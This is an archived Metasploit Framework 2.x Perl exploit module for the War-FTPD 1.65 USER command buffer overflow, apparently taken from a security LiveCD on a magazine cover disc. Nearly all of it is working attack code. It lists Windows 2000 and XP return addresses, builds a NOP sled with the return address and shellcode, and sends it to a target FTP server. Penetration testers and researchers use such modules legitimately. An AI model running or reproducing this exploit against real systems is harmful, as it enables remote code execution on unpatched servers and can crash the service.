home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / warftpd_165_user.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  120 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::warftpd_165_user;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'     => 'War-FTPD 1.65 USER Overflow',
  20.     'Version'  => '$Revision: 1.6 $',
  21.     'Authors'  => [ 'Fairuzan Roslan <riaf [at] mysec.org>', ],
  22.  
  23.     'Arch'  => [ 'x86' ],
  24.     'OS'    => [ 'win32', 'win2000', 'winxp' ],
  25.     'Priv'  => 0,
  26.  
  27.     'AutoOpts'  => { 'EXITFUNC' => 'process' },
  28.     'UserOpts'  =>
  29.       {
  30.         'RHOST' => [1, 'ADDR', 'The target address'],
  31.         'RPORT' => [1, 'PORT', 'The target port', 21],
  32.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  33.       },
  34.  
  35.     'Payload'  =>
  36.       {
  37.         'Space' => 512,
  38.         'BadChars'  => "\x00\x0a\x0d\x40",
  39.         'Prepend'  => "\x81\xc4\x54\xf2\xff\xff",
  40.       },
  41.  
  42.     'Description'  =>  Pex::Text::Freeform(qq{
  43.     This module exploits the buffer overflow found in the USER command
  44.     in War-FTPD 1.65. This particular module workd against Windows 2000
  45.     and Windows XP targets. A failed attempt will bring down the service
  46.     completely.
  47. }),
  48.  
  49.     'Refs'  =>
  50.       [
  51.         ['OSVDB', '875'],
  52.         ['URL',   'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html'],
  53.         ['MIL', '75'],
  54.       ],
  55.  
  56.     'DefaultTarget' => -1,
  57.     'Targets' =>
  58.       [
  59.         ['Windows 2000 SP0-SP4 English', 0x750231e2],   # ws2help.dll
  60.         ['Windows 2000 SP0-SP4 German',  0x74f931e2 ],    # added by M. Thumann
  61.         ['Windows XP SP0-SP1 English',   0x71ab1d54 ],    # push esp, ret
  62.         ['Windows XP SP2 English',       0x71ab9372 ],    # push esp, ret
  63.       ],
  64.  
  65.     'Keys'  => ['warftpd'],
  66.  
  67.     'DisclosureDate' => 'Mar 19 1998',
  68.   };
  69.  
  70. sub new {
  71.     my $class = shift;
  72.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  73.     return($self);
  74. }
  75.  
  76. sub Exploit {
  77.     my $self = shift;
  78.     my $target_host = $self->GetVar('RHOST');
  79.     my $target_port = $self->GetVar('RPORT');
  80.     my $target_idx  = $self->GetVar('TARGET');
  81.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  82.     my $target      = $self->Targets->[$target_idx];
  83.  
  84.     if (! $self->InitNops(128)) {
  85.         $self->PrintLine("[*] Failed to initialize the NOP module.");
  86.         return;
  87.     }
  88.  
  89.     my $evil = $self->MakeNops(1024);
  90.     substr($evil, 485, 4, pack("V", $target->[1]));
  91.     substr($evil, 600, length($shellcode), $shellcode);
  92.  
  93.     my $s = Msf::Socket::Tcp->new
  94.       (
  95.         'PeerAddr'  => $target_host,
  96.         'PeerPort'  => $target_port,
  97.         'LocalPort' => $self->GetVar('CPORT'),
  98.         'SSL'       => $self->GetVar('SSL'),
  99.       );
  100.  
  101.     if ($s->IsError) {
  102.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  103.         return;
  104.     }
  105.  
  106.     $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using return address 0x%.8x....", $target->[1]));
  107.  
  108.     my $r = $s->Recv(-1, 5);
  109.     if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
  110.     ($r) = $r =~ m/^([^\n\r]+)(\r|\n)/;
  111.     $self->PrintLine("[*] $r");
  112.  
  113.     $self->PrintLine("[*] Sending evil buffer....");
  114.     $s->Send("USER $evil\r\n");
  115.     $r = $s->Recv(-1, 5);
  116.     if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
  117.     return;
  118. }
  119.  
  120.